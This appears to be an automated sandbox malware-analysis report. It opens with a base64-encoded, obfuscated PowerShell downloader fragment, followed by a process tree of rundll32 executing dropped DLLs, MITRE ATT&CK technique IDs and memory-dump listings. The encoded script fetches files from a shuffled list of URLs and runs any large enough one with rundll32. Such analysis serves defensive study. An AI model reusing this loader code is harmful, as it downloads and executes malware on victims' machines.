JwArACcAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABsAGAAaQB0ACIAKAAkAEUAZAA2ADAAMAA2AGsAIAArACAAJABXAHEAMABzAGUAdAA0ACAAKwAgACQAVwBxAHkAZQAwAHoAawApADsAJABDAG8AbwBuAHcAbABqAD0AKAAnAFQAMgAnACsAJwBhADMAJwArACgAJwA3AHYAJwArACcAZAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWABtADcAOABrAGMAZwAgAGkAbgAgACQATQBuAG4AZgBtADgAZgAgAHwAIABzAG8AcgBUAC0ATwBgAEIASgBFAGAAQwB0ACAAewBHAGAAZQB0AC0AYABSAGEAbgBgAEQAbwBtAH0AKQB7AHQAcgB5AHsAJABQAGUAeQA1AGkAbwBmAC4AIgBEAG8AVwBgAE4AbABPAEEAZABGAGAASQBgAGwAZQAiACgAJABYAG0ANwA4AGsAYwBnACwAIAAkAFMAaQBxAHUANgA5AGQAKQA7ACQATAA5AG0AcQBiAG0AMwA9ACgAKAAnAEYAJwArACcANgA0ACcAKQArACcAZAAnACsAKAAnAHQAJwArACcAeQBtACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFMAaQBxAHUANgA5AGQAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADUAMwA5ADMAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQAUwBpAHEAdQA2ADkAZAAsACcAIwAxACcALgAiAHQATwBgAHMAVABgAFIAaQBuAEcAIgAoACkAOwAkAEEANQBqAGoAdQBsADcAPQAoACcATQBoACcAKwAoACcAaAA1AHQAZwAnACsAJwBrACcAKQApADsAYgByAGUAYQBrADsAJABaAHoAYgBtADUAcAAzAD0AKAAnAFgAJwArACgAJwBnADIAdAAnACsAJwBmADYAZQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBnADYAMwA1AHEANwA9ACgAKAAnAEwAdgB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcAeAB6ACcAKQApAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tysfljy\Yze_9vl\K3qe8qs_m.dll,#1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4052
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tysfljy\Yze_9vl\K3qe8qs_m.dll,#1
      4⤵
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:2616
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vste\sdhisq.ytd",RunDLL
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3380

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/640-2-0x00007FFC30470000-0x00007FFC30AA7000-memory.dmp

Download

memory/2616-12-0x0000000003680000-0x00000000036A2000-memory.dmp

Download

memory/3380-14-0x0000000003420000-0x0000000003442000-memory.dmp

Download

memory/3868-5-0x00007FFC29C60000-0x00007FFC2A64C000-memory.dmp

Download

memory/3868-7-0x0000018A44FC0000-0x0000018A44FC1000-memory.dmp

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memory/3868-6-0x0000018A44B40000-0x0000018A44B41000-memory.dmp

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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